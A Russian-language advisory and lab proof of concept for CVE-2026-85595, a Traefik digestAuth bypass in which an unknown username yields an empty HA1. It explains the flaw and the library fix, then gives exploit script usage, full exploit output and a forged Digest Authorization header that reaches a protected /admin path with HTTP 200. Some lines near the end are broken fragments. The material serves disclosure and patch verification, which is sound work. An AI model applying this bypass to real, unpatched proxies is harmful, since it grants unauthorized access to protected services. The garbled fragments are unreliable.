
CVE-2026-85595 — обход аутентификации digestAuth в Traefik (неизвестное имя пользователя => пустой HA1). Проверено в лаборатории: обход в v3.7.10, 401 в v3.7.11.
digestAuth аутентифицирует неизвестных пользователей (пустой секрет)Затронуто: Traefik < 2.11.55 и 3.0.0 – 3.7.10
Исправлено: 2.11.55 / 3.7.11
Исправление: коммит b975dcaa8c48 в containous/go-http-auth "Reject DigestAuth when user secret is empty", включённый в Traefik коммитом 2116686308a2 (обновление go.mod)
Рекомендация: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287
Промежуточное ПО digest в Traefik вычисляет HA1 пользователя через собственный поиск секрета
(pkg/middlewares/auth/digest_auth.go):
func (d *digestAuth) secretDigest(user, realm string) string {
if secret, ok := d.users[user+":"+realm]; ok {
return secret
}
return "" // unknown user -> empty secret, not a rejection
}
CheckAuth из go-http-auth затем принимает этот "" как HA1 и вычисляет
(digest.go:191-203 до исправления):
HA1 := da.Secrets(auth["username"], da.Realm) // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)
PlainTextSecrets для Traefik имеет значение false (файл users уже содержит HA1), поэтому
HA1 остаётся пустой строкой. Каждый вход в KD, кроме HA1, контролируется атакующим или
выдаётся в рамках 401-челленджа (nonce, opaque), а проверка uri принимает
собственный путь запроса. Таким образом, ответ можно вычислить без какого-либо пароля и
без имени пользователя, которое существует в файле users.
Исправление — три строки в библиотеке:
HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
return "", nil
}
Traefik сам по себе не требовал изменения кода — только обновление зависимости — поэтому
diff для v3.7.11 не содержит хунка digest_auth.go.
| роль | образ | контейнер | порт хоста |
|---|---|---|---|
| уязвимый прокси | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21010 → :8000 |
| исправленный прокси | traefik:v3.7.11 | poc-traefik-3711 | 127.0.0.1:21011 → :8000 |
PathPrefix(/admin) на entrypoint digest, middleware digestAuth
(realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5
(admin:traefik-lab:S3cretLabPass). Пользователь ghost, используемый PoC, в нём отсутствует.poc-traefik-app (python:3.12-alpine), отдаёт ADMIN-AREA … для /admin/*.lab/README.md.python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010 # vulnerable
python3 cve_2026_85595.py check --url http://127.0.0.1:21011 # fixed
--output FILE записывает транскрипт; --path, --user переопределяют целевой путь
и поддельное имя пользователя.
traefik:v3.7.10 — обход$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target : http://127.0.0.1:21010
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : exploit
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request -> HTTP 200
body: ADMIN-AREA secret admin panel for /admin/secret
request_line: GET /admin/secret HTTP/1.1
resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)
Журнал доступа самого прокси фиксирует поддельную личность как аутентифицированного пользователя
(ClientUsername — это второе поле после IP-адреса клиента):
192.168.48.1 - - [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms
$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401
traefik:v3.7.11 — поддельный дайджест отклонён$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target : http://127.0.0.1:21011
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : check
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request -> HTTP 401
body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)
nc) не требуется
сверх однократного использования.digestAuth, на затронутой
версии, а также против 2.11.x < 2.11.55.